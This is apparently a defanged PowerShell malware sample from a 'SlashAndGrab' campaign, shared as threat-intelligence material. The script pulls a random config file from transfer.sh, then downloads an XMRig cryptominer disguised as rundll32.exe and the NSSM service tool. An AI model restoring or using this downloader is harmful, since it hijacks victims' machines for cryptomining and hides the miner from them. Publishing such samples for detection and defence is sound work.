SlashAndGrab_transfer_extract.ps1

$listi = 'hxxps[://]transfer[.]sh/UFQTwgYszH/config14[.]json',
\'hxxps[://]transfer[.]sh/ATVMNG5Pbu/config13[.]json',
\'hxxps[://]transfer[.]sh/s27p8BcTxi/config12[.]json',
\'hxxps[://]transfer[.]sh/ojw6aKoA4A/config11[.]json',
\'hxxps[://]transfer[.]sh/lyEkHLGt03/config10[.]json',
\'hxxps[://]transfer[.]sh/8l4d5qR39o/config9[.]json',
\'hxxps[://]transfer[.]sh/xkIMWnocQH/config8[.]json',
\'hxxps[://]transfer[.]sh/Db5eUfqKP9/config7[.]json',
\'hxxps[://]transfer[.]sh/L1e30KShXP/config6[.]json',
\'hxxps[://]transfer[.]sh/w2Y0iuEKiY/config5[.]json',
\'hxxps[://]transfer[.]sh/6bkwRh4NXd/config4[.]json',
\'hxxps[://]transfer[.]sh/PRBRzMMEKC/config3[.]json',
\'hxxps[://]transfer[.]sh/RWSn6NLIr7/config2[.]json',
\'hxxps[://]transfer[.]sh/MRFibhy8fS/config1[.]json',
\'hxxps[://]transfer[.]sh/FeDRSFU5XV/config[.]json'
$randconf = Get-Random -InputObject $listi
Invoke-WebRequest -Uri $randconf -Headers @{'ngrok-skip-browser-warning'='true'} -OutFile 'config[.]json'
Invoke-WebRequest -Uri 'hxxps[://]transfer[.]sh/ePlTBkDtz2/rundll32[.]exe' -Headers @{'ngrok-skip-browser-warning'='true'} -OutFile 'xmrig[.]exe'
Invoke-WebRequest -Uri 'hxxps[://]transfer[.]sh/CrNx3LVEgY/nssm[.]exe' -Headers @{'ngrok-skip-browser-warning'='true'} -OutFile 'nssm[.]exe'